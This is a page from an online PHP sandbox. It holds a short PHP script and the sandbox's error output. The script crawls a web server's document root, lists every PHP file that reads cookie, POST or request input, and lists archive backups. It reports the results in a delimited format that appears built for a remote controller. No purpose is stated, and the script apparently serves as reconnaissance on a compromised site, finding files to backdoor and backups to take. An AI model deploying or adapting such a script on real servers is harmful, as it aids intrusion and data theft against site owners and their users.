@ 2023-05-28T13:39:06Z <?php
$files = array();
$it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT']);
$display = Array ( 'php' );
$search = Array('_COOKIE','_POST','_REQUEST');
$searchff = Array('amads','window98originalmain','ofertaexpressa','ifadulakvefin','root464providecatch','ark-btc','avanquest','poolunbelievably');
$files_ar = array();
echo "1<<llll>>";
foreach(new RecursiveIteratorIterator($it) as $file)
{
if(strpos($file->getFilename(),".php") == false) continue;
$tt = file_get_contents($file->getPathname());
$q = strposa($tt, $search);
if($q != ""){
$n = str_replace($_SERVER['DOCUMENT_ROOT'],'',$file->getPathname());
echo $q."|".$n."|aa;;";
}
}
echo "<<llll>>1<<llll>>1";
die();
$a = scandir($_SERVER['DOCUMENT_ROOT']);
$search = Array('.zip','gzip','.tar','.rar','.7z');
echo "1<<llll>>";
foreach($a as $f){
$n = str_replace($_SERVER['DOCUMENT_ROOT'],'',$f);
if(is_file($f)){
$q = strposa($n, $search);
if($q != "" && $n != ""){
echo $q."|".$n."|aa;;";
}
}
}
echo "<<llll>>1<<llll>>1";
function strposa($haystack, $needle, $offset=0) {
if(!is_array($needle)) $needle = array($needle);
$strok = "";
foreach($needle as $query) {
if(strpos($haystack, $query, $offset) !== false) {
// if (preg_match('/count[(].*?[=][=][ |]?8/', $haystack))
$strok .= $query."|";
}
}
return $strok;
}
die();
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Output for 8.0.1 - 8.0.30 , 8.1.0 - 8.1.28 , 8.2.0 - 8.2.18 , 8.3.0 - 8.3.6 Fatal error: Uncaught ValueError: RecursiveDirectoryIterator::__construct(): Argument #1 ($directory) cannot be empty in /in/MdDEL:4
Stack trace:
#0 /in/MdDEL(4): RecursiveDirectoryIterator->__construct('')
#1 {main}
thrown in /in/MdDEL on line 4
Process exited with code 255 . preferences:dark mode live preview
105.28 ms | 402 KiB | 89 Q